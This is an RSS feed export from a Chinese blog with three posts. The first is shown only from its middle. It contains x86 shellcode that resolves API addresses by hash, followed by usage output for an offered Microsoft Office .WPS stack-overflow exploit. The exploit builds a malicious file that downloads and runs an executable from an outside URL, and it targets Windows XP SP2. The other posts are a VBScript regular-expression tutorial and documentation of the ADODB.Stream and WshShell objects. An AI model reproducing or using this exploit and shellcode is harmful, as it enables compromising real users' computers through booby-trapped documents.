&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  esi, [ebp+0x3C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // e_lfanew<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  esi, [esi+ebp+0x78]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // ExportDirectory RVA<br>
&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;  esi, ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // rva2va<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  esi<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  esi, [esi+0x20]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // AddressOfNames RVA<br>
&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;  esi, ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // rva2va<br>
&nbsp;&nbsp;&nbsp;  xor&nbsp;&nbsp;  ecx, ecx<br>
&nbsp;&nbsp;&nbsp;  dec&nbsp;&nbsp;  ecx<br>
<br>
  find_start:<br>
&nbsp;&nbsp;&nbsp;  inc&nbsp;&nbsp;  ecx<br>
&nbsp;&nbsp;&nbsp;  lodsd<br>
&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;  eax, ebp<br>
&nbsp;&nbsp;&nbsp;  xor&nbsp;&nbsp;  ebx, ebx<br>
&nbsp;&nbsp;&nbsp;  <br>
  hash_loop:<br>
&nbsp;&nbsp;&nbsp;  movsx&nbsp;&nbsp;  edx, byte ptr [eax]<br>
&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;  dl, dh<br>
&nbsp;&nbsp;&nbsp;  jz&nbsp;&nbsp;&nbsp;&nbsp;  short find_addr<br>
&nbsp;&nbsp;&nbsp;  ror&nbsp;&nbsp;  ebx, HASH_KEY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // hash key<br>
&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;  ebx, edx<br>
&nbsp;&nbsp;&nbsp;  inc&nbsp;&nbsp;  eax<br>
&nbsp;&nbsp;&nbsp;  jmp&nbsp;&nbsp;  short hash_loop<br>
  <br>
  find_addr:<br>
&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;  ebx, [edi]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // compare to hash<br>
&nbsp;&nbsp;&nbsp;  jnz&nbsp;&nbsp;  short find_start<br>
&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;  esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // ExportDirectory<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  ebx, [esi+0x24]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // AddressOfNameOrdinals RVA<br>
&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;  ebx, ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // rva2va<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  cx, [ebx+ecx*2]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // FunctionOrdinal<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  ebx, [esi+0x1C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // AddressOfFunctions RVA<br>
&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;  ebx, ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // rva2va<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  eax, [ebx+ecx*4]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // FunctionAddress RVA<br>
&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;  eax, ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // rva2va<br>
&nbsp;&nbsp;&nbsp;  stosd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // function address save to [edi]<br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;  esi<br>
&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;  ecx<br>
&nbsp;&nbsp;&nbsp;  ret<br>
&nbsp;&nbsp;&nbsp;  <br>
sc_end:<br>
&nbsp;&nbsp;&nbsp;  call sc_start<br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  PROC_END&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //C macro to end proc<br>
  }<br>
}<br>
[/code]<br>
<br>
编译好的程序俺也放上来了，用法很简单：<br>
[quote]<br>
F:\tools\exploit&gt;wps2<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Microsoft Office .WPS Stack Overflow<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Adam Walker (c) 2007<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Modified by Mika[EST]<br>
<br>
[+] Targets:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (1) Windows XP SP2 ntdll.dll DE jmpesp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (2) Windows XP SP2 ntdll.dll CN&amp;TW jmpesp<br>
Usage: wps.exe &lt;target&gt; &lt;file&gt; &lt;URL&gt;<br>
.Ex:wps.exe 2 test.wps http://www.0x520.cn/test.exe<br>
[/quote]<br>
<br>
wps.exe 目标系统语言类型 要生成的文件 要下载执行的url地址<br>
<br>
OK~~简单吧，欢迎大家继续修改加强！再次对帮助过俺的人表示感谢！:loveliness: 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Own">Own</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/50795a38ce076320b8998fca.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-17  12:04</pubDate>
        <category><![CDATA[Own]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/50795a38ce076320b8998fca.html</guid>
</item>

<item>
        <title><![CDATA[vbs正则表达式的几个函数]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/50795a38cbe86e20b9998f2b.html]]></link>
        <description><![CDATA[
		
		from lcx's blog<br>
<br>
以前一直没有好好的学过，这次整理一下。<br>
<br>
正则中/d+就是代表一个或多个数字，用这个做例子。<br>
<br>
RegExp就是建立正则的对像。如Set regEx = New RegExp。regEx.Pattern 就是来设置正则的模式的，如<br>
<br>
regEx.Pattern ＝&quot;/d+&quot;。regEx.IgnoreCase = True&nbsp;&nbsp;  ' 设置是否区分大小写。regEx.Global = True&nbsp;&nbsp;  ' 设置全程可用性。<br>
<br>
RegExp对像有3种方法，分别是execute、test、replace。<br>
<br>
test方法是对指定的字符串执行一个正则表达式搜索，并返回一个 Boolean 值指示是否找到匹配的模式。RegExp.Global属性对Test方法没有影响。如果找到了匹配的模式，Test方法返回True；否则返回False。 <br>
<br>
例子：<br>
<br>
Function RegExpTest(patrn, strng)<br>
Dim regEx, retVal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 建立变量。<br>
Set regEx = New RegExp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 建立正则表达式。<br>
regEx.Pattern = patrn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 设置模式。<br>
regEx.IgnoreCase = False&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 设置是否区分大小写。<br>
retVal = regEx.Test(strng)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 执行搜索测试。<br>
If retVal Then<br>
&nbsp;&nbsp;&nbsp;  RegExpTest = &quot;找到一个或多个匹配。&quot;<br>
Else<br>
&nbsp;&nbsp;&nbsp;  RegExpTest = &quot;未找到匹配。&quot;<br>
End If<br>
End Function<br>
MsgBox(RegExpTest(&quot;\d+&quot;, &quot;abcd1234&quot;))<br>
MsgBox(RegExpTest(&quot;\d+&quot;, &quot;abcd&quot;))<br>
<br>
Replace 方法替换在正则表达式查找中找到的文本，例子：<br>
<br>
Function ReplaceTest(patrn, replStr)<br>
Dim regEx, str1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 建立变量。<br>
str1 = &quot;dog 123.&quot;<br>
Set regEx = New RegExp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 建立正则表达式。<br>
regEx.Pattern = patrn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 设置模式。<br>
regEx.IgnoreCase = True&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 设置是否区分大小写。<br>
ReplaceTest = regEx.Replace(str1, replStr)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 作替换。<br>
End Function<br>
<br>
MsgBox(ReplaceTest(&quot;\d+&quot;, &quot;cat&quot;)) &lsquo;将字符串中的123替换为cat<br>
<br>
Execute 方法,则是对指定的字符串执行正则表达式搜索。这里又涉及到Match对像和Matches 集合。Matches 集合就是match的对像集合。Matches 集合中包含若干独立的 Match 对象，只能使用 RegExp 对象的 Execute 方法来创建之。例子：<br>
<br>
<br>
Function RegExpTest(patrn, strng)<br>
&nbsp;&nbsp;  Dim regEx, Match, Matches&nbsp;&nbsp;  ' 建立变量。<br>
&nbsp;&nbsp;  Set regEx = New RegExp&nbsp;&nbsp;  ' 建立正则表达式。<br>
&nbsp;&nbsp;  regEx.Pattern = patrn&nbsp;&nbsp;  ' 设置模式。<br>
&nbsp;&nbsp;  regEx.IgnoreCase = True&nbsp;&nbsp;  ' 设置是否区分大小写。<br>
&nbsp;&nbsp;  regEx.Global = True&nbsp;&nbsp;  ' 设置全程可用性。<br>
&nbsp;&nbsp;  Set Matches = regEx.Execute(strng)&nbsp;&nbsp;  ' 执行搜索。<br>
&nbsp;&nbsp;  For Each Match in Matches&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' 遍历 Matches 集合。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  RetStr = RetStr &amp; Match.FirstIndex &amp; &quot;。匹配的长度为&quot;&amp;&quot; &quot;<br>
RetStr = RetStr &amp; Match.Length &amp;&quot; &quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  RetStr = RetStr &amp; Matches(0) &amp;&quot; &quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  '值为123<br>
&nbsp;&nbsp;&nbsp;&nbsp;  RetStr = RetStr &amp; Matches(1)&amp;&quot; &quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  '值为44<br>
&nbsp;&nbsp;&nbsp;  RetStr = RetStr &amp; Match.value&amp;&quot; &quot;&nbsp;&nbsp;&nbsp;  '值为123和44的数组<br>
&nbsp;&nbsp;&nbsp;&nbsp;  RetStr = RetStr &amp; vbCRLF<br>
&nbsp;&nbsp;  Next<br>
&nbsp;&nbsp;  RegExpTest = RetStr<br>
End Function<br>
MsgBox(RegExpTest(&quot;\d+&quot;, &quot;123a44&quot;)) 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/50795a38cbe86e20b9998f2b.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-16  11:33</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/50795a38cbe86e20b9998f2b.html</guid>
</item>

<item>
        <title><![CDATA[Stream、WshShell、WshUrlShortcut对象及Shell.Application的使用说明]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/fa1fafc4c30c06cf38db4928.html]]></link>
        <description><![CDATA[
		
		Stream、WshShell、WshUrlShortcut对象及Shell.Application的使用说明<br>
<br>
使用说明：<br>
1.Stream对象<br>
<br>
组件：&quot;Adodb.Stream&quot; <br>
有下列方法： <br>
Cancel 方法 <br>
使用方法如下 <br>
Object.Cancel <br>
说明：取消执行挂起的异步 Execute 或 Open 方法的调用。 <br>
Close　方法 <br>
使用方法如下 <br>
Object.Close <br>
：关闭对像 <br>
CopyTo 方法 <br>
使用方法如下 <br>
Object.CopyTo(destStream,[CharNumber]) <br>
说明：将对像的数据复制，destStream指向要复制的对像，CharNumber为可选参数，指要复制的字节数，不选为全部复制。 <br>
Flush　方法 <br>
使用方法如下 <br>
Object.Flush <br>
说明： <br>
LoadFromFile 方法 <br>
使用方法如下 <br>
Object.LoadFromFile(FileName) <br>
说明:将FileName指定的文件装入对像中,参数FileName为指定的用户名。 <br>
Open　方法 <br>
使用方法如下 <br>
Object.Open(Source,[Mode],[Options],[UserName],[Password]) <br>
说明：打开对像， <br>
参数说明：Sourece 对像源，可不指定 <br>
Mode 指定打开模式，可不指定，可选参数如下： <br>
adModeRead　=1 <br>
adModeReadWrite =3 <br>
adModeRecursive =4194304 <br>
adModeShareDenyNone =16 <br>
adModeShareDenyRead =4 <br>
adModeShareDenyWrite =8 <br>
adModeShareExclusive =12 <br>
adModeUnknown　=0 <br>
adModeWrite　=2 <br>
Options 指定打开的选项，可不指定，可选参数如下： <br>
adOpenStreamAsync =1 <br>
adOpenStreamFromRecord =4 <br>
adOpenStreamUnspecified=-1 <br>
UserName 指定用户名，可不指定。 <br>
Password 指定用户名的密码 <br>
Read　方法 <br>
使用方法如下： <br>
Object.Read(Numbytes) <br>
说明：读取指定长度的二进制内容。 <br>
参数说明：Numbytes指定的要读取的找度，不指定则读取全部。<br>
<br>
ReadText　方法 <br>
使用方法如下： <br>
Object.ReadText(NumChars) <br>
说明：读取指定长度的文本 <br>
参数说明：NumChars指定的要读取的找度，不指定则读取全部。<br>
<br>
SaveToFile　方法 <br>
使用方法如下： <br>
Object.SaveToFile(FileName,[Options]) <br>
说明：将对像的内容写到FileName指定的文件中 <br>
参数说明：FileName指定的文件 <br>
Options 存取的选项，可不指定，可选参数如下： <br>
adSaveCreateNotExist　=1 <br>
adSaveCreateOverWrite =2<br>
<br>
SetEOS　方法 <br>
使用方法如下： <br>
Object.setEOS() <br>
说明： <br>
SkipLine　方法 <br>
使用方法如下： <br>
Object.SkipLine() <br>
说明： <br>
Write　方法 <br>
使用方法如下： <br>
Object.Write(Buffer) <br>
说明：将指定的数据装入对像中。 <br>
参数说明：Buffer 为指定的要写入的内容。 <br>
WriteText　方法 <br>
使用方法如下： <br>
Object.Write(Data,[Options]) <br>
说明：将指定的文本数据装入对像中。 <br>
参数说明：Data 为指定的要写入的内容。 <br>
Options 写入的选项，可不指定，可选参数如下： <br>
adWriteChar　=0 <br>
adWriteLine　=1<br>
<br>
<br>
有下列属性： <br>
Charset <br>
EOS 返回对像内数据是否为空。<br>
<br>
LineSeparator 指定换行格式，可选参数有 <br>
adCR　 =13 <br>
adCRLF　 =-1 <br>
adLF　 =10<br>
<br>
Mode 指定或返加模式。<br>
<br>
Position 指定或返回对像内数据的当前指针。(新OPEN的：0)<br>
<br>
Size 返回对像内数据的大小。<br>
<br>
State 返加对像状态是否打开。<br>
<br>
Type 指定或返回的数据类型，可选参数为： <br>
adTypeBinary　=1 <br>
adTypeText　=2<br>
<br>
2.WshShell和WshUrlShortcut 对象<br>
<br>
WshShell 对象<br>
ProgID Wscript.Shell <br>
文件名 WSHom.Ocx <br>
CLSID F935DC22-1CF0-11d0-ADB9-00C04FD58A0B <br>
IID F935DC21-1CF0-11d0-ADB9-00C04FD58A0B<br>
<br>
<br>
下表说明和 WshShell 对象有关的属性。<br>
<br>
属性 说明 <br>
Environment 返回 WshEnvironment 集合对象。 <br>
SpecialFolders 使用 WshSpecialFolders 对象提供对 Windows shell 文件夹的访问，如桌面文件夹，开始菜单文件夹和个人文档文件夹。<br>
<br>
<br>
下表说明和 WshShell 对象有关的方法。<br>
<br>
方法 说明 <br>
CreateShortcut 创建并返回 WshShortcut 对象。 <br>
ExpandEnvironmentStrings 扩展 PROCESS 环境变量并返回结果字符串。 <br>
Popup 显示包含指定消息的消息窗口。 <br>
RegDelete 从注册表中删除指定的键或值。 <br>
RegRead 从注册表中返回指定的键或值。 <br>
RegWrite 在注册表中设置指定的键或值。 <br>
Run 创建新的进程，该进程用指定的窗口样式执行指定的命令。<br>
<br>
<br>
WshShell.Environment<br>
Environment 属性返回 WshEnvironment 对象。<br>
<br>
语法<br>
WshShell.Environment ( [strType]) = objWshEnvironment<br>
<br>
注释<br>
若 strType 指定了环境变量所处的位置，可能值为 &quot;System&quot;、&quot;User&quot;、&quot;Volatile&quot; 和 &quot;Process&quot;。若未提供 strType，则该方法在 Windows NT 中检索系统环境变量或在 Windows 95 中检索进程环境变量。<br>
<br>
对于 Windows 95，strType 参数仅支持 &quot;Process&quot;。<br>
<br>
下列变量是由 Windows 操作系统提供的。脚本也可获取由其他应用程序设置的环境变量。<br>
<br>
名称 说明 <br>
NUMBER_OF_PROCESSORS 计算机上运行的处理器数目。 <br>
PROCESSOR_ARCHITECTURE 用户工作站使用的处理器类型。 <br>
PROCESSOR_IDENTIFIER 用户工作站的处理器 ID。 <br>
PROCESSOR_LEVEL 用户工作站的处理器级。 <br>
PROCESSOR_REVISION 用户工作站的处理器版本。 <br>
OS 用户工作站所用的操作系统。 <br>
COMSPEC 用于运行&ldquo;命令提示&rdquo;窗口的命令（通常为 cmd.exe）。 <br>
HOMEDRIVE 本地主驱动器（通常为 C 驱动器）。 <br>
HOMEPATH 用户的默认路径（在 Windows NT 上通常为 \users\default）。 <br>
PATH 路径环境变量。 <br>
PATHEXT 可执行文件的扩展名（通常为 .com、 .exe、.bat 或 .cmd）。 <br>
PROMPT 命令提示符（通常为 $P$G）。 <br>
SYSTEMDRIVE 系统所在的本地驱动器（例如，c:\）。 <br>
SYSTEMROOT 系统目录（例如，c:\winnt）。和 WINDIR 相同。 <br>
WINDIR 系统目录（例如 c:\winnt）。和 SYSTEMROOT 相同。 <br>
TEMP 存储临时文件的目录（例如，c:\temp）。用户可更改。 <br>
TMP 存储临时文件的目录（例如，c:\temp）。用户可更改。<br>
<br>
<br>
示例<br>
' Retrieve the NUMBER_OF_PROCESSORS system environment variable<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
<br>
Set WshSysEnv = WshShell.Environment(&quot;SYSTEM&quot;)<br>
Wscript.Echo WshSysEnv(&quot;NUMBER_OF_PROCESSORS&quot;)<br>
<br>
请参阅<br>
WshEnvironment 对象<br>
<br>
<br>
WshEnvironment 对象<br>
WshEnvironment 对象未直接给出，可用 WshShell.Environment 属性来访问。<br>
<br>
ProgID N/A <br>
文件名 WSHom.Ocx <br>
CLSID <br>
IID<br>
<br>
<br>
下表描述与 WshEnvironment 对象关联的属性。<br>
<br>
属性 说明 <br>
Item 获取或设置指定的环境变量值。 <br>
Count 枚举项的数目。 <br>
length 枚举项的数目 (JScript)。<br>
<br>
<br>
下表描述与 WshEnvironment 对象关联的方法。<br>
<br>
方法 说明 <br>
Remove 删除指定的环境变量。<br>
<br>
<br>
WshShell.SpecialFolders<br>
SpecialFolders 属性提供 WshSpecialFolders 对象以便访问 Windows 的 shell 文件夹，例如桌面文件夹、开始菜单文件夹和个人文档文件夹。<br>
<br>
语法<br>
WshShell.SpecialFolders = objWshSpecialFolders<br>
<br>
示例<br>
' This code fragment shows how to access the desktop folder<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
MsgBox &quot;Your desktop is &quot; &amp; WshShell.SpecialFolders(&quot;Desktop&quot;)<br>
请参阅<br>
WshSpecialFolders 对象<br>
<br>
WshSpecialFolders 对象<br>
该对象未直接给出。要得到 WshSpecialFolders 对象，请使用 WshShell.SpecialFolders 属性。<br>
<br>
ProgID N/A <br>
文件名 WSHom.Ocx <br>
CLSID <br>
IID<br>
<br>
<br>
下表描述与 WshSpecialFolders 对象关联的属性。<br>
<br>
属性 描述 <br>
Item 指定文件夹的完整路径（默认）。 <br>
Count 枚举项的数目。 <br>
length 枚举项的数目 (JScript) 。<br>
<br>
WshSpecialFolders.Item<br>
Item 属性返回由 strFolderName 指定的文件夹的完整路径。它是默认属性。<br>
<br>
语法<br>
WshShell.SpecialFolders.Item(&quot;strFolderName&quot;) = strFolderPath<br>
WshShell.SpecialFolders(&quot;strFolderName&quot;) = strFolderPath<br>
<br>
注释<br>
若请求的文件夹 (strFolderName) 不可用，则 WshShell.SpecialFolders(&quot;strFolderName&quot;) 返回 NULL。例如，Windows 95 没有 AllUsersDesktop 文件夹，如果 strFolderName = AllUsersDesktop，则返回 NULL。<br>
<br>
Windows 95 和 Windows NT 4.0 操作系统提供下列指定文件夹： <br>
AllUsersDesktop<br>
AllUsersStartMenu<br>
<br>
AllUsersPrograms<br>
<br>
AllUsersStartup<br>
<br>
Desktop<br>
<br>
Favorites<br>
<br>
Fonts<br>
<br>
MyDocuments<br>
<br>
NetHood<br>
<br>
PrintHood<br>
<br>
Programs<br>
<br>
Recent<br>
<br>
SendTo<br>
<br>
StartMenu<br>
<br>
Startup<br>
<br>
Templates<br>
<br>
示例<br>
' This fragment returns the full path for the Windows Desktop folder<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
StrMyDesktop = WshShell.SpecialFolders(&quot;Desktop&quot;)<br>
<br>
' List all special folders<br>
For Each strFolder In WshShell.SpecialFolders<br>
MsgBox strFolder<br>
Next<br>
<br>
请参阅<br>
WshShell.SpecialFolders 属性<br>
<br>
<br>
WshShell.CreateShortcut<br>
CreateShortcut 方法创建 WshShortcut 对象并将其返回。如果快捷方式标题以 .url 结尾，就会创建 WshURLShortcut 对象。<br>
<br>
语法<br>
WshShell.CreateShortcut(strPathname) = objShortcut<br>
<br>
示例<br>
' This code fragment creates a shortcut <br>
' to the currently executing script<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
Set oShellLink = WshShell.CreateShortcut(&quot;Current Script.lnk&quot;)<br>
oShellLink.TargetPath = Wscript.ScriptFullName<br>
oShellLink.Save<br>
Set oUrlLink = WshShell.CreateShortcut(&quot;Microsoft Web Site.URL&quot;)<br>
oUrlLink.TargetPath = &quot;http://www.microsoft.com&quot;<br>
oUrlLink.Save<br>
<br>
请参阅<br>
WshShortcut 对象、WshUrlShortcut 对象<br>
<br>
WshShortcut 对象<br>
该对象未直接给出。要获得 WshShortcut 对象，请使用 WshShell.CreateShortcut 方法。<br>
<br>
ProgID N/A <br>
文件名 WSHom.Ocx <br>
CLSID F935DC28-1CF0-11d0-ADB9-00C04FD58A0B <br>
IID F935DC27-1CF0-11d0-ADB9-00C04FD58A0B<br>
<br>
下表说明和 WshShortcut 对象有关的属性。<br>
<br>
属性 说明 <br>
Arguments 快捷方式对象的参数。 <br>
Description 快捷方式对象的说明。 <br>
Hotkey 快捷方式对象的热键。 <br>
IconLocation 快捷方式对象的图标位置。 <br>
TargetPath 快捷方式对象的目标路径。 <br>
WindowStyle 快捷方式对象的窗口样式。 <br>
WorkingDirectory 快捷方式对象的工作目录。<br>
<br>
<br>
下表说明与 WshShortcut 对象有关的方法。<br>
<br>
方法 说明 <br>
Save 将快捷方式存储到指定的文件系统中。<br>
<br>
WshShortcut.Arguments<br>
Arguments 属性提供快捷方式对象的参数。<br>
<br>
语法<br>
WshShortcut.Arguments = strArguments<br>
<br>
WshShortcut.Description<br>
Description 属性提供快捷方式对象的说明。<br>
<br>
语法<br>
WshShortcut.Description = strDescription<br>
<br>
WshShortcut.Hotkey<br>
HotKey 属性提供快捷方式对象的热键。热键是启动或切换程序的键盘快捷方式。<br>
<br>
语法<br>
WshShortcut.HotKey = strHotKey<br>
<br>
注释<br>
strHotKey 的BNF语法如下：<br>
<br>
Hotkey ::= modifier* keyname<br>
modifier ::= &quot;ALT+&quot; | &quot;CTRL+&quot; | &quot;SHIFT+&quot; | &quot;EXT+&quot;<br>
keyname ::= &quot;A&quot; .. &quot;Z&quot; | <br>
&quot;0&quot;.. &quot;9&quot; | <br>
&quot;Back&quot; | &quot;Tab&quot; | &quot;Clear&quot; | &quot;Return&quot; |<br>
&quot;Escape&quot; | &quot;Space&quot; | &quot;Prior&quot; | ...<br>
<br>
所有键的名称都可以在 WINUSER.H 中找到。热键不区分大小写。<br>
<br>
热键只能激活位于 Windows 桌面或 Windows&ldquo;开始&rdquo;菜单的快捷方式。<br>
<br>
Windows 资源管理器不接受 ESC、ENTER、TAB、SPACE、PRINT SCREEN 或 BACKSPACE，即使 WshShortcut.Hotkey 遵循 Win32 API 支持它们。因此，建议在快捷方式中不要用这些键。<br>
<br>
示例<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.WshShell&quot;)<br>
strDesktop = WshShell.SpecialFolders(&quot;Desktop&quot;)<br>
Set oMyShortcut = WshShell.CreateShortcut(strDesktop &amp; &quot;\a_key.lnk&quot;)<br>
OMyShortcut.TargetPath = &quot;%windir%\notepad.exe&quot;<br>
oMyShortCut.Hotkey = &quot;ALT+CTRL+F&quot;<br>
oMyShortCut.Save<br>
Wscript.Echo oMyShortCut.HotKey = &quot;Alt+Ctrl+F&quot;<br>
<br>
请参阅<br>
WshSpecialFolders 对象<br>
<br>
WshShortcut.IconLocation<br>
IconLocation 属性提供快捷方式对象的图标位置。图标位置的格式应为 &quot;Path,index&quot;。<br>
<br>
语法<br>
WshShortcut.IconLocation = strIconLocation<br>
<br>
WshShortcut.TargetPath<br>
TargetPath 属性提供快捷方式对象的目标路径。<br>
<br>
语法<br>
WshShort<br>
<br>
<br>
WshUrlShortcut 对象<br>
该对象未直接给出。要获取 WshUrlShortcut 对象，可使用 WshShell.CreateShortcut 方法。<br>
<br>
ProgID N/A <br>
文件名 WSHom.Ocx <br>
CLSID <br>
IID<br>
<br>
<br>
下表说明了和 WshUrlShortcut 对象有关的属性。<br>
<br>
属性 说明 <br>
FullName URL 快捷方式对象的完整路径。 <br>
TargetPath URL 快捷方式对象的目标路径。<br>
<br>
<br>
下表说明了和 WshUrlShortcut 对象有关的方法。<br>
<br>
方法 说明 <br>
Save 将快捷方式保存到指定的文件系统中。<br>
<br>
WshUrlShortcut.FullName<br>
FullName 属性提供快捷方式对象的完整路径。<br>
<br>
语法<br>
WshUrlShortcut.FullName = strFullName<br>
<br>
WshUrlShortcut.TargetPath<br>
TargetPath 属性提供快捷方式对象的目标路径。<br>
<br>
语法<br>
WshUrlShortcut.TargetPath = strTargetPath<br>
<br>
WshUrlShortcut.Save<br>
Save 方法保存一个快捷方式，该快捷方式指向 FullName 属性指定的位置。<br>
<br>
语法<br>
WshUrlShortcut.Save<br>
<br>
WshShell.ExpandEnvironmentStrings<br>
ExpandEnvironmentStrings 方法在 strString 中扩展 PROCESS 环境变量并返回结果字符串。变量被 '%' 字符括起。<br>
<br>
环境变量不区分大小写。<br>
<br>
语法<br>
WshShell.ExpandEnvironmentStrings(strString) = strExpandedString<br>
<br>
示例<br>
MsgBox &quot;Prompt is &quot; &amp; WshShell.ExpandEnviromentStrings(&quot;%PROMPT%&quot;)<br>
<br>
<br>
WshShell.Popup<br>
